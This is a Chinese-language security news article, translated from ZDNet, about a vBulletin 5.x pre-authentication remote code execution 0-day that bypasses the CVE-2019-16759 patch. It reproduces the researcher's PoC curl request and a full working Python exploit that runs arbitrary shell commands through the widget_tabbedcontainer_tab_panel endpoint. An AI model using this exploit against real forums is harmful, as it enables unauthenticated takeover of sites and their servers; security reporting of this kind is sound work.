vBulletin是当前最流行的论坛软件之一。安全研究人员Amir Etemadieh在其中发现了一个0 day漏洞,并公布了漏洞细节和PoC 代码。
该0 day漏洞是CVE-2019-16759 漏洞补丁的绕过。CVE-2019-16759 漏洞是去年9月公布的一个 0 day漏洞。该漏洞是vBulletin模板系统中的漏洞,属于预认证远程代码执行漏洞。攻击者利用该漏洞可以运行恶意代码,并且在无需对受害者网站进行认证的情况下接管论坛。CVE-2019-16759 漏洞细节公布1天后,安全补丁就发布了。
CVE-2019-16759补丁绕过0 day漏洞
研究人员称CVE-2019-16759 漏洞补丁不足以拦截漏洞利用。他还发现了一种简单的方法可以绕过补丁,并利用CVE-2019-16759漏洞。
模板“widget_tabbedcontainer_tab_panel”可以加载用户控制的子模板,可以通过从单独命名的值中取值,并放置到变量“widgetConfig”中。这两个特征使得研究人员可以有效绕过CVE-2019-16759漏洞补丁的所有过滤策略。
PoC代码如下:
curl -s http://EXAMPLE.COM/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();'
除了PoC代码,研究人员还编写了Bash、Python、Ruby等不同语言的漏洞利用:
Bash漏洞利用
#!/bin/bash # # vBulletin (widget_tabbedcontainer_tab_panel) 5.x 0day by @Zenofex # # Usage ./exploit
Python漏洞利用
#!/usr/bin/env python3 # vBulletin 5.x pre-auth widget_tabbedContainer RCE exploit by @zenofex import argparse import requests import sys def run_exploit(vb_loc, shell_cmd): post_data = {'subWidgets[0][template]' : 'widget_php', 'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd } r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data) return r.text ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget Template RCE') ap.add_argument('-l', '--location', required=True, help='Web address to root of vB5 install.') ARGS = ap.parse_args() while True: try: cmd = input("vBulletin5$ ") print(run_exploit(ARGS.location, cmd)) except KeyboardInterrupt: sys.exit("\nClosing shell...") except Exception as e: sys.exit(str(e))
Metasploit模块
研究人员还编写了一个metasploit模块,链接如下:https://github.com/rapid7/metasploit-framework/pull/13970
vBulletin回应
Etemadieh称在公布研究结果之前没有联系和通知vBulletin 团队。在相关研究结果发布后3小时,https://t.co/LwbPuEoL5b就被攻击。目前,vBulletin官方已经发布了补丁,参见:
更多技术细节参见:https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
本文翻译自:https://www.zdnet.com/article/security-researcher-publishes-details-and-exploit-code-for-a-vbulletin-zero-day/ 如若转载,请注明原文地址: